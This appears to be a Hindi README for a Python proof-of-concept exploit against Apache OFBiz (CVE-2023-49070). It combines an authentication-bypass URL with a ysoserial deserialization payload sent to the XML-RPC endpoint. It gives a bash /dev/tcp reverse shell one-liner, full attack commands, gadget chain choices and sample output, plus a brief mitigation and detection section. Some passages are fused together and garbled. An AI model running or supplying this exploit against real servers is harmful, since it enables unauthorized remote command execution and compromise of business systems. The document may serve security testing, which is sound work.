
Apache OFBiz CVE-2023-49070 के लिए Python PoC: /webtools/control/xmlrpc पर auth-bypass तथा pre-auth deserialization RCE प्राप्त करने के लिए ysoserial gadget chain।
Apache OFBiz XML-RPC प्री-ऑथ डीसेरियलाइज़ेशन RCE के लिए PoC, जिसे
CVE-2023-49070 के रूप में ट्रैक किया गया है: एक ऑथेंटिकेशन-बायपास पथ
लेगेसी /webtools/control/xmlrpc एंडपॉइंट को अनलॉक करता है, जो
XML-RPC <serializable> पैरामीटर के अंदर तस्करी किए गए हमलावर-नियंत्रित
Java ऑब्जेक्ट को डीसेरियलाइज़ करता है।
⚠️ केवल अधिकृत सुरक्षा परीक्षण के लिए। इसे केवल उन सिस्टमों के विरुद्ध चलाएँ जिनके आप मालिक हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है (CTF/लैब वातावरण, हस्ताक्षरित स्कोप वाले एंगेजमेंट, आदि)। अधिकांश क्षेत्राधिकारों में कंप्यूटर सिस्टमों तक अनधिकृत पहुँच अवैध है।
Apache OFBiz का view-map ऑथेंटिकेशन सामान्य रूप से
/webtools/control/xmlrpc की सुरक्षा करता है। प्रभावित संस्करणों
(< 18.12.10) को पथ में सेमीकोलन और विशिष्ट क्वेरी पैरामीटर जोड़कर उस
जाँच को छोड़ने के लिए धोखा दिया जा सकता है:
/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
एक बार पहुँच योग्य होने पर, एंडपॉइंट XML-RPC अनुरोध स्वीकार करता है।
Apache XML-RPC का Java कार्यान्वयन एक <serializable> एक्सटेंशन प्रकार
का समर्थन करता है: एलिमेंट की सामग्री को base64-डिकोड किया जाता है और
सीधे ObjectInputStream.readObject() में पास किया जाता है — क्लासिक
असुरक्षित Java डीसेरियलाइज़ेशन। क्लासपाथ पर उपयुक्त गैजेट चेन के साथ
(यह PoC डिफ़ॉल्ट रूप से ysoserial
के माध्यम से CommonsBeanutils1 का उपयोग करता है), यह सीधे OFBiz चला रहे
OS उपयोगकर्ता के रूप में रिमोट कमांड निष्पादन में परिवर्तित हो जाता है।
यह पहले के OFBiz XML-RPC डीसेरियलाइज़ेशन CVE के समान बग परिवार का है (जैसे CVE-2023-51467 का ऑथ-बायपास सहोदर); OFBiz में इस एंडपॉइंट पर ऑथ-बायपास + डीसेरियलाइज़ेशन जोड़ियों का आवर्ती पैटर्न रहा है, इसलिए इस PoC पर भरोसा करने से पहले अपने लक्ष्य पर लागू होने वाली सटीक CVE/संस्करण सीमा की जाँच करें।
bash -i >& /dev/tcp/LHOST/LPORT 0>&1 रिवर्स शेल बनाती है,
उसे base64-एनकोड करती है, और उसे bash -c 'echo ... | base64 -d | bash'
वन-लाइनर में लपेटती है (निष्पादन श्रृंखला में आगे शेल-मेटाकैरेक्टर
विकृति से बचाती है)।CommonsBeanutils1 डिफ़ॉल्ट रूप से, कॉन्फ़िगर करने योग्य) बनाने के
लिए ysoserial को कॉल करती है।<serializable> पेलोड में लपेटती है।TARGET/webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
पर POST करती है।No such service) है
या नहीं — यह संकेत है कि पेलोड संसाधित हुआ, कोड निष्पादन का प्रमाण नहीं।यह पुष्टि नहीं कर सकती कि आपको शेल मिला — डीसेरियलाइज़ेशन चलने के बाद
OFBiz किसी भी स्थिति में एक सामान्य त्रुटि लौटाता है (XML-RPC विधि
स्वयं, Dns, वास्तविक सेवा के रूप में मौजूद नहीं है)। हमेशा अपना
लिसनर चालू रखें और उसे जाँचें, केवल स्क्रिप्ट के कंसोल आउटपुट को नहीं।
pip install requests --break-system-packagesysoserial-all.jar — इसे स्वयं
frohoff/ysoserial से बनाएँ
(mvn clean package -DskipTests) या कोई रिलीज़ jar लें। यहाँ बंडल
नहीं किया गया है — यह अपने स्वयं के लाइसेंस वाला एक बड़ा तृतीय-पक्ष
टूल है।python3 ofbiz_xmlrpc_rce.py \
--target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar
पहले एक लिसनर शुरू करें:
nc -lvnp 4444
CommonsBeanutils1 OFBiz के लिए क्लासिक विकल्प है (यह क्लासपाथ पर
commons-beanutils शिप करता है), लेकिन अगर यह काम न करे, तो OFBiz की
बंडल की गई लाइब्रेरीज़ अन्य चेन का भी समर्थन करती हैं। बस --gadget
बदलें:
python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 \
--ysoserial /path/to/ysoserial-all.jar \
--gadget CommonsCollections6
$ python3 ofbiz_xmlrpc_rce.py --target https://ofbiz.target.tld \
--lhost 10.10.14.1 --lport 4444 --ysoserial ./ysoserial-all.jar
[*] Building reverse shell one-liner for 10.10.14.1:4444 ...
[*] Building 'CommonsBeanutils1' gadget chain with ysoserial (./ysoserial-all.jar) ...
[+] Gadget chain built (2847 bytes)
[*] Sending payload to https://ofbiz.target.tld ...
[+] HTTP status: 200
[+] Response matches the expected post-deserialization error.
This is a signal the gadget chain executed, not proof of a shell.
[*] Check your listener: nc -lvnp 4444
/webtools/control/xmlrpc को अक्षम या प्रतिबंधित करें यदि आप
सक्रिय रूप से XML-RPC एकीकरण का उपयोग नहीं करते हैं; सामान्य रूप से
webtools कंपोनेंट एक सामान्य लक्ष्य है और मजबूत कारण के बिना
इंटरनेट-फेसिंग नहीं होना चाहिए।; ट्रिक को साझा करते हैं।ObjectInputFilter, JEP 290 / Java 9+ से उपलब्ध) का उपयोग करें ताकि
ज्ञात गैजेट-चेन क्लासेस को कभी इंस्टैंशिएट होने से रोका जा सके,
चाहे डीसेरियलाइज़ेशन को कौन सा एंडपॉइंट ट्रिगर करे।<serializable> एलिमेंट वाले */control/xmlrpc*
पर POST, OFBiz होस्ट से अप्रत्याशित आउटबाउंड कनेक्शन, और OFBiz चला
रहे Java प्रोसेस द्वारा उत्पन्न चाइल्ड प्रोसेस।MIT — देखें LICENSE।
| Flag | Default | Description |
|---|
--target | (required) | Target base URL, e.g. https://ofbiz.target.tld |
--lhost | (required) | Your listener IP |
--lport | (required) | Your listener port |
--ysoserial | ysoserial-all.jar | Path to the ysoserial jar |
--gadget | CommonsBeanutils1 | ysoserial gadget chain to use |
--java-bin | java | Java binary to invoke |
--timeout | 15 | HTTP request timeout (seconds) |
--proxy | (none) | Optional HTTP(S) proxy, e.g. for routing through Burp |